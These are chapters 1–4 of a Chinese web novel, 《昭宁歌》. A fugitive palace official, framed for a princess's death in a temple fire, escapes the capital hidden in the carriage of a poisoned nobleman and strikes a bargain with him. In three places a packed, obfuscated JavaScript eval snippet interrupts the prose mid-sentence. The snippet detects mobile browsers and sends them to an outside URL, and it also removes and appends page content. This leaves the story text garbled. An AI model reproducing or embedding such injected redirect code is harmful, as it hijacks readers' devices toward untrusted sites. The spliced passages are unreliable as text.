《昭宁歌》 1. 第1章 大昱昭宁三年的京师,自惊蛰至清明,接连月余都是晴日。 此时的昱都位于应天府,地处江南,春时往往雨水充沛。这样罕见的连日晴朗,一扫整个冬季的潮湿霉气,家家户户都忙着浣衣晒被。 建安坊,丁家巷。薛峤穿着平民女子身上常见的粗布衣裳,挎了个蔑编篮子,迈出阮家窄小的院门。 晨间暖阳透过树枝的缝隙,轻柔地洒在脸上,明媚到让她几乎要忘却此身从何而来。 她仰头看了眼小巷两边低矮的房屋,又扫过空地上晾晒的谷物,很快收回目光,像对这些司空见惯一样,目不斜视地向前走。 前面城墙边,立着一棵粗壮的老槐树。现下城门口的兵卫正在盘查过往行人,眼见那边排着长队,要出城去河边浣衣的民妇们便围坐在树荫下,叽叽喳喳地聊天。 薛峤怯怯地朝她们走过去。 她乌发挽起,头上围了块布巾,篮子里是几件带着灰渍的旧衣。听到动静,树荫下的妇人们都抬起头,见是个十六七岁的清秀姑娘,其中一个年长的笑着同她打招呼:“你就是红棉那个远房表妹吧?是要去洗衣服?等会儿那边查完了跟我们一起出去就是,现在过去还得站着等半天呢!” 薛峤抿嘴朝她腼腆一笑,道了声谢,安静地坐到她身边,低头看着地面。 众人只当她是初来乍到内敛怕羞,并不多打听,只继续就着先前的话题闲聊。 “真不知道这些官差天天忙活什么,出去的时间一天比一天晚,等会儿洗完回来怕是正赶上太阳毒辣的时候!” “嗐,还不是为着鸿福寺那个事儿?放火的女官还没抓着呢,可不得天天堵着城门使劲儿查!” “要抓人也得去对地方呀!公主身边的女官,那肯定跟咱们这些平头老百姓不一样,放到人堆里一眼就看出来了。可我瞧着这西城门每天进进出出的就是些普通穷人,哪儿来的什么女官。” “说起来,那个公主叫什么来着?听说年纪也不大呢。” “我家那不成器的提过一嘴,好像是加什么?加义?” 听到这两个字,薛峤眼前顿时蒙上一层雾气。她赶忙将头埋得再低些,生怕周围的妇人们看出异样,心里却已然浮现出那张皎洁柔婉的脸。 嘉懿公主。 嘉懿是封号,公主本名叫朱蘅,上月刚满十六岁。因为鸿福寺那场大火,也永远只有十六岁了。 妇人们聊得起劲,对身边少女异样的神情浑然不觉,就着这个话题你一句我一句继续说着。 “唉!实在是可怜!好不容易投胎到皇家,结果临出嫁被活活烧死了,动手的还是身边最贴心的女官。皇宫里的勾心斗角怎么这么可怖!” “我听说是那个女官跟驸马有勾结,里应外合放的火。皇上为这事儿大怒,当场让驸马给公主陪葬呢!可惜让那女官跑了,现在锦衣卫到处搜查,说活要见人死要见尸。” “是该抓回去偿命!太恶毒了!” 妇人们虽然对这位久居深宫的公主知之甚少,但同为女子,很容易就共情起她早夭的悲惨宿命。 尤其是听闻她死于身边人和未婚夫的背叛,更加义愤填膺,纷纷对那名被通缉的女官涌起恨意,脑海里也勾勒出一个奸诈刻薄盛气凌人的恶女形象。 薛峤就这么安静坐在她们身边,默默听她们讨伐、辱骂,始终未发一言。 直到城门那边的长队只剩零星几个人,身旁的妇人才意犹未尽歇了嗓,亲热地拉起她,“走!咱们现在过去正好!” 薛峤立刻收回神思,站起身来。 这时,忽然有几匹骏马疾驰而来。马背上尽是猿臂蜂腰的精壮男子,穿深蓝曳撒,束犀角带,蹬黑缎官靴,人人腰间都横着刀。 “都站住!锦衣卫抓人!”当先一人大喝。 薛峤闻声望去,只见那人手上拿着一张崭新的皮纸,墨笔朱印,看不清上面的内容,但分明是张通缉画像。 她赶忙背过身,柔声向身边妇人道:“我忽然想起还有几件脏衣忘拿了,嫂子们先去吧,我随后就过来!” 说着,快步走回小巷里。 阮家小院门口,站着个抱着婴孩的女子,约莫二十出头,正是浣衣妇人口中的红棉。 见薛峤突然折返,阮红棉赶忙将她拉进院中,又惊又忧地掩上门,问:“怎么回来了?王嫂子她们没带你出城?” 薛峤低声说:“锦衣卫查过来了。阮姐姐,我不能冒险这样出城,万一暴露,势必连累你和街坊们。” “什么连累不连累!”阮红棉顿时红了眼眶,“当初若不是你悄悄托人送药过来,我们全家,连同建安坊这几十户人,只怕早就没命了……他们不知内情,我却是知道的。现在若是袖手旁观让你被抓去,我余生都不会心安!” “值此情境,阮姐姐还能相信我、设法帮我,我已经难偿深恩,万不能再将你们牵连进来。还请姐姐放心,我自有别的脱困方法。只是往后你我恐怕再难相见,有件事我要说清楚——三年前能给建安坊送药,我是得了嘉懿公主帮助。公主无辜枉死,还请姐姐记得她的这份善心,来日进香时也为她供盏灯。” 薛峤说完,迅速将提篮放回院中,又进屋将头巾布衣脱下,换上男装,匆匆乔装一番,与阮红棉道别后,疾步从丁家巷的另一头绕到城墙附近。 城门处,锦衣卫们正举着画像挨个儿打量将要出城的行人。薛峤躲在树后,看向官道拐角处的那辆马车。 车辕粗直,轮毂偏大,比寻常马车高大结实些,应是用作远行的。一个多时辰前,车夫将这辆马车赶到此处,给马喂过一次草料就离开了,之后便再无动静。 趁众人注意力都在锦衣卫手里的画像上,薛峤动作轻盈地摸到马车边,轻轻掀开帘角一看,里面果然是空的。她迅速翻上车辕,利落地弯下身子,钻到座椅下面。 布帘垂下,刚好遮挡住她的身形。薛峤静静蜷在那里,琢磨着下一步动作。倘若能顺 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653553|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利出城,得找个合宜的时机溜下马车。往后低调行事,性命应当无忧。难的是没有路引,也无法立户……还有,公主之死,难道就这样揭过么? 没等她理清思绪,外面忽然传来响动。车辕轻晃,有人掀帘进了马车。 薛峤屏住呼吸,从布帘的缝隙向外看去,只见来的是个男子,脚步虚浮,足音比寻常女子更轻,似是极为虚弱。 车夫将那人扶进车厢安置好,便大喇喇坐到车辕边,兀自策马启程。 车轮碾过道路的声响盖住了车厢内的细微动静。薛峤逐渐放松下来,呼吸渐趋平稳,头脑也恢复清醒。她开始盘算,若车内这人当真是个虚弱的病秧子,即便有所察觉,想来也无力制住自己。 但外面的车夫似乎十分壮硕,随行的好似还另有一人,也不知是什么身份。 纷杂思绪间,马车摇摇晃晃,停在了城门口。周遭传来守城士兵和锦衣卫的声音,他们按例要掀帘检看,并查验路引。 只听车夫一声嗤笑,语气竟颇有几分盛气凌人的意味:“萧府的马车你们也查?老子倒要看看除了陛下的手令,尔等还能查出什么东西!” 听到这话,薛峤顿时大惊。 京中萧姓人士原有许多,但现下敢在外面以萧府身份自居的,唯有与当今首辅萧勖和萧皇后沾边的萧氏族人。车夫态度如此狂妄,又自称有皇上手令,那这车厢里坐的,是什么人? 车夫这话果然也镇住了守卫和锦衣卫,粗粗看过令牌,他们便挥手放行。马车摇摇晃晃出了城门,顺着官道继续西行。 长久蜷卧在硬木板上,薛峤的关节被硌得生疼,加之马车不断颠簸摇晃,她感觉自己几乎要被摇散架,一呼一吸都如受刑般难捱。 不知过了多久,车厢里终于响起一道低哑的嗓音:“允公公,劳烦去那茶肆替我煎副药。” “那我也去讨口茶歇会儿。你安分点。”车夫说着,一勒缰绳,马车稳稳当当停下,外面两人都起身离去。 四周顿时陷入寂静,薛峤再度屏气,尽可能地放慢呼吸。 座椅上的深青布帘依旧垂着,她只能从流苏的缝隙间窥探外面的景象。令她失望的是,车内这个病秧子好像并没有要下车的意思。 他甚至没有挪动腿脚,只微微一动取出了什么物什,而后似脱力般地垂下手。 那只苍白纤瘦的手就垂落在薛峤眼前。她定睛一看,对方手里握着的,竟是一柄闪着寒光的锋利匕首。 薛峤全身紧绷,根本无暇思考对方是怎么发现她的。几乎是本能反应,她强忍着浑身的疼痛,伸出左手紧扣住对方手腕,右手从怀中掏出一支发簪,从座椅下灵活钻出,用肘部将对方死死按住,扬手将发簪狠狠挥向他喉间。 然而却是她的咽喉先被对方扣住了。 而后是长久的、诡异的静谧,谁都没有更进一步动作,也都不肯退败示弱。马车里只有两道微不可闻的呼吸声,仿佛他们就要这样僵持到地老天荒。 2. 第2章 薛峤定定看着这个即使虚弱到极致,依然能反手制住她的人。 很清隽的一张脸,眉眼疏淡,薄唇似裁,面部线条清晰利落。他穿了身荼白谰衫,清淡中又带着几分干净的少年气,好似林中瘦竹。 只是他的肤色过于苍白,显出深重的病态,与往昔意气风发的样子判若两人。 当朝首辅萧勖的养子,萧恪。 薛峤听说过此人身手了得,有御前护驾之功,也曾亲眼见过他几次,宫宴上、大祀时,一应重臣都只能屈居下位,他却可与诸位皇子同席出入,足见其深得皇上信重。 “薛典簿?”萧恪显然也识破了她的身份,手上力道松了许多。 薛峤却并未因此放松下来,反而更加紧绷,反问的话脱口而出:“你认识我?” “想考状元的内廷女官,萧某平生只见过一个,很难不记得。” 薛峤缄默。他说的是去岁中秋宴上的事。宫中每逢中秋佳节,往往大宴群臣、欢饮达旦,随侍的下人也就要跟着站上通宵。那时公主体恤她,允准她悄悄找个地方歇着。于是她抱了本书去偏僻处看,谁知被几个结伴透气醒酒的年轻大臣撞个正着。 当中就有人打趣她,说一个内廷女官竟抱着本《中庸章句》苦读,莫不是要考状元。 但薛峤记得,那群人里分明没有萧恪。她戒备地望着眼前的人,面露疑惑。 “当时我在你头顶的树上。”萧恪收回扣在对方咽喉处的手,也将自己手腕从对方手里轻松挣开,而后微微向后仰躺。 他明明居于下位,却是一副游刃有余的模样,“你为何会在我的马车里?” 薛峤垂眸,一时不知该从何答起。 既然对方是萧恪,她就不必揣着那份要挟病秧子谈条件的侥幸心了。这样的御前高手,即使并非全盛状态,捏死一个不会武功的她也不是难事。方才他故意将匕首亮给她看,显然并非真的手腕脱力,就只是故意钓她出来而已。 现在目的达成,他会怎么做?就地杀了她,还是折返回城将她交给锦衣卫? 沉思片刻,薛峤放弃了脑海中闪过的各种谎言托辞,选择单刀直入:“萧大人,你中毒了。我们做个交易如何?我替你解毒,你放我离开,就当没见过我。” “别人特意下毒封住我经脉要我乖乖上路,你想替我解毒,看守我的那两人恐怕不答应。”萧恪道。 “可方才我扣住你手腕时摸过脉象,你的脉象滞涩,三焦气机痹阻,除了一种烈毒截断经脉让你使不出武功,还另有一种慢性毒沉积肺腑。此毒汤药不化,吐纳难清,这才是你受制于人的真正原因。” “倒是小看你了。”萧恪双手抱臂懒懒地斜靠在车壁上,苍白的脸上竟浮起一丝笑意。 他说:“交易可以谈。但你先告诉我鸿福寺那场火是怎么回事。我知道你是被推出来顶罪的,是谁下的手?” 薛峤鸦睫轻颤,紧咬下唇,半晌才摇了摇头,“我不知道。但我可以将事发经过告诉你。” “去岁春时,公主及笄后,皇后便命礼部为她操办婚事。因我朝驸马不能为官,且公主生母早逝,自身又并不受宠,驸马人选便不太好择定。礼部几番推延,直到秋时才由皇后出面,定下清流世家出身的崔氏三公子崔昀。” “而后礼部依照繁琐的流程替公主备婚,到今年春时,也就是惊蛰过后,才将诸事落定,婚期定在下月初六。” “五日前,皇后突然提出让公主前往鸿福寺祈福。念在公主是第一次单独出宫,除了贴身服侍的人以外,皇后还特意点了十几个内监随侍。” “谁知就在我们抵达鸿福寺当天,也就是三日前,大雄宝殿突然起火,彼时公主与十几名内监都在殿内。偏巧近来天晴日燥,火势格外迅猛,根本来不及扑灭。待大火消下去,整座大雄宝殿已是一片残垣,殿内众人无一生还……” 萧恪听罢,淡淡道:“这样听来,你身为公主的心腹女官,因与驸马有私情,趁此机会纵火谋害公主,的确是十分合乎情理的说法。毕竟随侍的十几名内监都死了,你却好好活着。” “可你也知道我是被推出来顶罪的,不是么?”薛峤深吸一口气,压下心中的愤恨。 又说:“且不说我与驸马素不相识,即便真有私情,杀了公主我二人又能有什么好下场?谁会这样自寻死路。” “所以,若你想找出真相脱罪,便该将来龙去脉讲得更细些,至少要指出这件事里让你感觉不对劲的细节。直说就是,不必顾忌我的身份。”萧恪慢条斯理道。 薛峤眼眸微动。虽不知道萧恪为什么会相信她,但既然提出与他做交易,便得先坦诚相待。 “的确有些蹊跷的地方。其一,公主大婚前出宫祈福虽不违祖制,但也并不是必要的步骤。这等特殊待遇,往往落不到她头上,皇后却主动提出,还特意拨了十几名宦官随侍,想来是出于别的什么原因想促成这件事。” “其二,起火时我正在偏殿为公主收拾东西,听到响动跑出来,就看到整座大殿已然火光冲天。即便今春格外天干,一座按皇家规制建造的大雄宝殿,又岂会烧得这样快?纵火之人要么提前做了准备,要么就是有旁人难及的本领。” “其三,就在火还未完全扑灭时,锦衣卫指挥使陆钺就已经带人将鸿福寺围住,并言辞凿凿指认是我纵火,显然只是急于找个替罪羊。” “但问题在于,无论是皇后还是陆钺,又或是其他人,都没有谋害公主的动机。公主年仅十六岁,久居深宫,生母早逝,不得圣宠,没跟任何人结过仇,也威胁不到任何人。” 薛峤说着,心底又浮现出另一种可能。 或许,是冲着自己或驸马来的呢?她心中忐忑,并没有将这荒诞的猜测说出口。 她一介内廷女官,虽得公主倚重,但公主在宫中也是个软弱可欺没实权的。若真有谁看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653554|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不惯她,随随便便就可以将她碾碎,何须闹出这么大动静嫁祸她? 至于驸马崔昀,也不过是个门第不高的书生,况且他住在宫外,想害他多得是机会,纵火烧寺嫁祸,也同样太过迂回。 她沉默着,似乎自己都没注意到,方才讲述那些事情的时候,虽然已极尽可能让自己语气从容些,但每句话到了最后几个字,都带着些微颤音。此时后劲上来,更有两滴晶莹的泪珠盈于眼睫,轻轻颤动,将坠未坠。 萧恪见她这般模样,一时心绪复杂。 也不过是个十六七岁的小姑娘,颌瘦颈长,面容清婉,除了憔悴些,看起来与寻常闺阁少女无异。 想来从前在宫中,跟在公主身边,也是过着锦衣玉食的日子。谁知一朝从云端跌落,乍然就变成了背负命案的凶手。难得的是,她竟能在厂卫和宦官的搜捕下躲藏三日,顺利混出城,还敢出手伤他、与他谈条件。 于是他将语气稍微放得柔缓些,低声道:“嘉懿公主天真柔善,虽身处宫闱,却从未真正涉足权谋。你是她身边的人,想来也对真正的皇权斗争知之甚少。若我现在告诉你,这场大火恐怕比你想到的牵涉更广,你可还想探寻真相?” 薛峤眸光低沉,陷入深思。 她还想探寻真相么?自然是想的。 当初进宫时,她只是尚仪局一个最末等的女史。是因为嘉懿公主喜爱读诗文,常遣人去找书,发现她识文善墨,才让她年纪轻轻就成了正六品典籍。这份知遇之恩不能不报。况且公主本身也极为仁善,身为她最信重的身边人,难道能眼睁睁看着她无辜枉死? 另外,即便自己只是个微末女官,也是父母含辛茹苦养育大的。难道仅仅因为出身低微,就要将名声尊严都扔在地上任人践踏? 于是她对萧恪说:“仓促出城,是走投无路的下下策。若有机会沉冤昭雪,我自然不愿背负谋害公主的骂名。只是我不懂,萧大人与公主似乎并无交情,又为何会如此关心真相?” 萧恪神情阴郁,淡淡道:“你以为我因何中毒,又为何在此?这场大火背后的阴谋,与我落到此境地的原因多半有交叠之处。” 听他这样说,薛峤忽然觉得似有一线灵光从脑中闪过,但她一时又理不清那道灵光后面缠绕万千的丝丝缕缕。 “既然如此,这桩交易算是谈成了?”她问。 “并不算。你说的是你替我解毒,我放你离开。”萧恪收敛起脸上那丝阴郁,眸光一转,面上带了些微玩世不恭。 又道:“但我并不相信你一个尚仪局典簿的医术,此言显然是你在诓我。所以,我要重新谈条件。” “你说就是。” “先前我说过,外面那两人是看守我的,偏偏我天生不羁,最恨被管着。所以,我要你帮我摆脱他们,然后与我同行前往甘州。若事成,我会替你查明公主死亡真相,还你清白。若我死在半路,你自行离去就是。” 3. 第3章 “甘州?” 薛峤隐约想起,四年前怀王朱睍不知因何触怒龙颜,被贬往河西戴罪戍边,其驻地就在甘州。 但她并没有听说过萧恪和此事有什么关系,更不知他和怀王有什么私交。好在他并不隐瞒,只略去其间细节,大致同她讲了前因后果。 薛峤听完,心中震荡无以复加。 “你是说,皇上赐你一杯毒酒,又下令让你将怀王世子的骨灰送去甘州,想让你死在路上。但你现在不想死,还偏偏要走完这一趟?” “是。”萧恪平静回答。 “可应天府距甘州有三千多里路。且不说你看起来快要死了,即使我真能医圣附体将你治好,这一路过去也难免舟车劳顿。以你的身手,若能脱困,为何不干脆隐姓埋名逍遥自在?” “治好我还需要医圣附体?”萧恪忽而挑眉轻笑,“我不相信你的医术果然是对的。” “这好像不是重点……” 萧恪收起戏谑,正色道:“因为我想做一件事。先遵照圣旨将怀王世子的骨灰送到甘州,我要做的事才能名正言顺。” 薛峤略一思索,很快明白了他的意思。 世间很多事都需要一个“名正言顺”。 皇后想拉拢清流文臣,先从京中世族里选个出身与才学不高不低的崔家公子做驸马,是她的名正言顺。 锦衣卫指挥使陆钺明知鸿福寺大火案内有蹊跷,还是指认一个女官为凶手并满城通缉,亦是他的名正言顺。 萧恪若对皇权、名声、身份地位仍有所图,便不能公然违逆圣旨隐遁江湖,否则亦是给了皇上名正言顺收拾萧氏一族的理由。 想通这一节,薛峤点点头,“好。成交。” 话音刚落,车厢外忽然传来响动。是车夫和那个宦官回来了。 萧恪骤然坐起,凑到薛峤耳边,同她低声耳语:“钻回去。” 果然,她刚蜷回车座底下,就有人从外面掀开了车帘。 萧恪对着那人懒散开口:“怎么,封了我全身经脉还不放心,怕我在你眼皮子底下飞走?你周琰也有这种疑神疑鬼的时候?” 薛峤在车座底下被青帘挡着,看不见那个名为周琰的车夫什么表情,只听他冷哼一声,对另一人道:“劳烦允公公将药给他灌了,好继续赶路。” 萧恪并未让那宦官进马车,而是自己倾身出去,接过汤药,仰头如饮酒般利落喝下去。 末了,他扬手将瓷碗扔回给宦官,又对着周琰散漫道:“时辰还早,车驾稳些,反正今夜要宿在六合。” 车帘放下,马车复又行驶起来。 “出来。”萧恪低头用气声说。 薛峤微微有些迟疑。马车正常走着,倒不担心周琰与那宦官没事回头掀帘,但车厢空间毕竟狭仄,蜷在车座底下虽硌着疼,至少是躺着,尚能闭目小憩。若钻出来,便只能继续硬熬。 可她已经三日没睡觉了,紧绷的情绪松懈下来,觉得格外困倦。 正犹豫着,萧恪突然伸手捏住她的左肩,手腕轻轻一抬,便将她从座椅下整个扯了出来,按在身边坐下。 薛峤心中大骇。 不是说全身经脉都被封住了么?此人身手了得,到底有多了得!幸好自己于他而言还有些利用价值,否则恐怕就在她用发簪偷袭他的那一刻,就早早丧命了。 见她神情恍惚,萧恪轻笑,凑到她耳边轻声道:“抵达六合,第一件事是先给你弄个不必蜷在下面的身份……” 薛峤听他三言两语讲明计划,虽有些不情愿,也心知这方法的确可行,只得勉强答应。 萧恪又道:“不过以你现在这副憔悴尊容,这招容易露馅。所以你该好好睡一觉,若睡不着,我可以帮你。” “你怎么帮?”薛峤下意识问。 下一瞬,她只感觉颈后乍然一痛,便周身绵软,沉沉昏睡过去了。 …… 京师春晴,百余里外的六合却正下着淅沥细雨。 马车稳稳停在一家客栈门口,萧恪掀开车帘,探出半个身子,摇摇晃晃站起来。 宦官想搀扶他下车,却被周琰按住。 “允公公何苦卑微讨好?萧大人自视甚高,未必承你的情。”他阴阳怪气道。 萧恪懒得与他计较,只抬手在宦官身上微微借力,飘然下了马车。 小二闻声迎出来,暗自打量这一行三人。只见一个猿臂蜂腰、肤色黝黑的壮汉,一个细皮嫩肉、斯文腼腆的小厮,还有一个清隽高瘦、苍白虚弱的年轻公子。 再看他们的马车,每个部件都比寻常客商乘的马车用料结实许多,那匹白马更是矫健有力、几无杂色。 他便知,这是贵客。于是恭恭敬敬将他们迎进去,客气问:“三间上房?” 周琰当即硬声回绝:“一间就行。” 见他眼神冷漠,腰间又横着刀,小二也不敢多问,只得乖乖去安排。 萧恪忽而伸手拦住他说:“白马娇贵,劳烦将它牵去能遮雨的地方歇息,再喂些细料。” “好嘞!您放心!”小二笑着应下,喊来打杂的伙计,又原话细细叮嘱一遍。 雨势渐大,待伙计将马车驱至后院安顿好离开,薛峤借着潇潇雨幕,悄无声息地从马车上下来,一如冒雨赶路的行客,敲开了客栈大门。 此时已近亥时,值夜的伙计都已经准备锁上店门了,忽然见到一个女子前来投宿。 他揉了揉眼,只见对方穿着并不太合身的男装,浑身湿漉漉的,凌乱的发丝遮住了大半张脸,瞧不清样貌,只能从身形看出似乎年纪不大。 “劳烦帮我准备一间客房、沐浴用的热水,还有饭菜和干净衣物。”薛峤递给他一锭银子。 银子是萧恪给的,足有二两,整个出手显然超出了正常物价。但仓促间她也无法将其破开,更不可能随身揣着沉甸甸、叮当作响的铜钱。 果然,伙计接过银子,又多打量了她几眼,谨慎询问:“姑娘是从何处来的?可有路引或是别的什么身份凭证?” 薛峤抬眸,无辜地看着他,而后眼神躲闪,压低声音说:“奴家的身份不便言说, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653555|172849||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 但请小哥放心,断不是什么贼奴逃妾。我来此是为了追随我表兄,他们一行三人,我表兄有些病弱,另两个是威猛护卫和白净小厮,小哥若是见过,还请行个方便。” 伙计心道,可不是一个多时辰前才见过么。不过眼前这女子与那病弱公子眉眼并无相似之处,“兄妹”怕是行走在外的遮羞布,想来多半是什么弯弯绕绕见不得人的关系。 但俗话说,清官难断家务事,既然不是什么容易惹祸的逃奴,他收钱办事,也犯不着拆穿。 伙计点点头,“行。我领你去客房。” 薛峤拽住他,又塞给他一锭银子,面露红晕,羞涩道:“奴家还有个不情之请。我表兄那护卫有些不好对付,但奴家这么孤身赶路也实在不方便。我已与表兄商量好了对策,略施小计就可以去他身边,只是这事儿还要请小哥协助一二。” 伙计收下银子,听她说完方法,拍了拍胸脯,“这事儿不难办,放心交给我就是。” 这一番交涉完,薛峤才终于得以回房歇憩。 用过饭菜,又在温热的水中洗去一身狼狈与疲倦后,她躺在软和的床上,盯着洗得有些发旧的流苏帐出神。 前三日她东躲西藏,几乎滴水未进,更别说躺下休息。今日在马车上虽被萧恪按晕昏睡了几个时辰,也只潦草满足了最基本的生理需求。 现下吃饱洗净躺在床上,才真正感觉到放松和舒适。 她自嘲地想,一番破绽百出的谎言,轻易就搪塞住了客栈伙计。可若她照实说出这几日的经历,再讲起从前睡的是宫中的罗帷锦被,反而没人会相信吧? 可嘉懿公主就是那样一个肯将锦衣玉食分给身边下人的纯善女子。宫中多得是谋权争利的人,为什么偏偏死的是无辜的她呢? 潇潇夜雨声很快将薛峤催入梦乡。而同层的另一间客房里,萧恪一行三人却都还睁着眼,谁也没能入睡。 周琰开始后悔只开一间房了。 原本他是想,萧恪虽喝了毒酒经脉都被封住,但他到底性情不羁,又还能行动,难保不会半夜偷溜。三人住一间,可以将其牢牢看住,省得节外生枝。 地盘本也分得好好的。中毒体弱的睡床,细皮嫩肉的睡榻,他这个强壮武夫就打个地铺将就将就。 谁知到了夜深该入眠的时候,萧恪却开始作天作地。一时喊渴喊饿,要允公公给他添水端点心,一时又说毒症发作感觉寒冷难耐,要周琰去给他暖床。 周琰忍无可忍,恨不得当场拔刀将他斩了。 却又被允公公拦下,凑到近前低声耳语,说萧恪虽为戴罪之身,但到底还有个从二品都督同知的官衔。圣上给的口谕是要他们此行只管赶路,不必理会他的病症,言外之意是让他自己死在路上。但若直接砍了他,还是算以卑凌尊,名不正言不顺。 这一通念叨让周琰无法反驳,心底却愈发烦躁。他怒目圆睁,瞪着床上气定神闲跷着腿的人,质问:“你到底想怎样?” 萧恪懒懒抬眉,笑道:“不想怎样。就是富贵惯了,没人伺候我睡不着。” 4. 第4章 周琰被气得没话说。 外界关乎萧恪的传闻层出不穷,却从没提及此人有什么荒淫习性。但细说来,身为首辅养子、曾经的御前红人,他又的确真的算是富贵出身。 周琰想,这种膏粱锦绣堆里长大的年轻公子,说要人伺候,不外乎就是想要娇奴美婢软玉温香。 花点小钱买个奴婢一同上路,能换来耳根清净,还省得自己和允公公被他呼来喝去,倒也算是省事。但这深更半夜的,上哪儿去给他找女人? 眼看周琰又要发作,萧恪也丝毫没有退让的意思,允公公赶忙上前打圆场:“萧大人说得也是,咱家虽也能端茶倒水,但到底不如女子体贴。只是现下夜已深,不是找人的时候。明日一早咱家就叫伙计帮忙张罗买个伶俐婢子,可行?” “行吧。多找几个貌美的让我挑挑。”萧恪勉强答应。 周琰冷笑一声,阴恻恻嘲讽:“路都走不稳了,还要貌美婢子,只怕人找来了你却无福消受。” 萧恪不愠不怒,仰头轻笑:“那又如何?找个温柔貌美的放在身边看看也是好的,总比成日对着你这张死人脸强。” 允公公生怕他们二人一言不合又要扯上许久,只好将屏风搬来挡在屋中间,隔断两人视线。 待他们都消停了,才躺到榻上,闭眼睡去。 第二日,雄鸡刚刚啼破长夜,睡眼惺忪的值夜伙计就被天字号客房的贵客叫住了。他定睛一看,对方正是昨日那病弱公子身边的白净小厮。 他便一下想起那位冒雨而来的少女,和她塞给他的两锭银子。 允公公递上几钱碎银,慢条斯理说明来意:“劳烦小哥去帮忙寻几个正在找主家的年轻婢子,肯随我们长途跋涉的,要温顺,最好貌美些。” 伙计拍了拍胸脯:“好说好说,放心交给我就是。” 他心道,两边说法对上了,此事果然不假。只要妥妥帖帖将事儿办好,这意外之财挣得就心安。 一个多时辰后,薛峤听到了敲门声。 她已经梳洗完毕,刚换上伙计给她找的新衣。淡青的短袄长裙,样式十分简单,衣料也普通,用一支木簪将乌发挽起,放到人群里便挑不出任何异样。 门一打开,她与伙计不动声色地交换了个眼神,然后敛眉低目,随他来到后院。 那里已经站了几个年轻女子,伙计低声道:“给了每人三十文跑腿钱,姑娘且等你表兄来走个过场,这事儿就成了。” 薛峤便站到她们中间,面儿上装出一副羞怯的样子,乖巧等着。 辰时三刻,周琰与允公公一左一右寸步不离地跟着萧恪来到了院中。 薛峤与身旁的少女们一样,怯怯抬眸,好奇地打量他们。 当先的萧恪自不必说,仍是那副面色苍白的病弱样子,甚至看起来比昨日还更虚弱些。他的步伐看似翩然,实则虚浮,若非事先知晓,任谁都看不出这是曾在御前只身剑挑十数名刺客的绝世高手。 再看周琰,年约三十上下,与萧恪差不多高,却好似能抵他两个宽。这般身板,即使不修内功,仅凭蛮力也得是个中高手,难怪萧恪说这是看管他的。 而客栈伙计口中的“白净小厮”,也就是允公公,看起来至多也就二十岁。那股阴柔气息,旁人或许只当是斯文腼腆,但薛峤久居宫中,一眼就能看出这是个宦官。 伙计自知这所谓的“挑选”不过是走个过场,将人带到院中,便开始信口言语:“客官您且瞧瞧,都是大户人家出来的,来历干净,手脚勤快,相貌也都不错。若有看中的,现在就可以将身契签了。” 说完,他瞟一眼那“不好对付”的护卫,又将目光落到病弱公子身上。 心想,自己这差事办得应该还算可以吧?特意找了几个相貌周正又不太出挑的,乍看去的确是按容貌选过的,再细品,怎么看都是那位“表妹”最为清丽。公子选中她,那护卫定不会起疑。 允公公也跟着说道:“大人瞧瞧,可有看中的?” 萧恪却只随意扫了一眼,皱起眉对周琰说:“周老三,你觉得呢?我怎么瞧着容貌都挺普通。” 周琰本就窝了一肚子气,听他这句话,顿时火冒三丈,手直直按在刀柄上,竭力忍住才没拔出来。 他怒道:“你小子别得寸进尺!买个婢女而已,你还想找个九天仙女不成?赶紧将身契签了,好动身赶路!” 说罢,他目光冷厉地在众人面上来回扫过,然后指向薛峤,朝允公公道:“何必惯着他蹬鼻子上脸!不是要貌美的么?就选这个,别挑了。” 伙计旁观全程,心下直呼高明。 那威猛护卫不好对付,便以退为进,激得他亲自来选中“表妹”,如此一来,还有什么后患? “客官好眼光!这位阿乔姑娘年方十七,良家出身,脾性也好,正适合伺候公子!”伙计趁热打铁,哄着几人顺水推舟将此事敲定下来。 周琰浑然不觉其中有诈,只催促他们忙活完赶紧上路。 几人行至马车处,萧恪却又懒懒往车辕上一靠,慢悠悠道:“急什么,我还要在这里添置些东西。” 周琰怫然不悦,又想拔刀砍他,但看在允公公的面子上,再度忍了下来。 他不耐烦道:“你还要什么?” 萧恪啧啧感叹:“周老三,你与允公公是接到圣旨收拾万全了才动身的,我可是被你们从天牢捞出来就直接塞进了马车。别的且不说,总得让我这一路有食有水、有衣可换,再给我的阿乔添些贴身衣物吧?” “好说好说,萧大人要什么,咱家去买就是。”允公公赶忙劝架。 萧恪从腰间解下一块玉佩丢给他,“劳烦公公将这东西当了,带着阿乔去街上转转,看她需要些什么。” 末了,又对着薛峤口述一长串他要的东西。 薛峤听着,心想这人不愧是首辅养子,才从 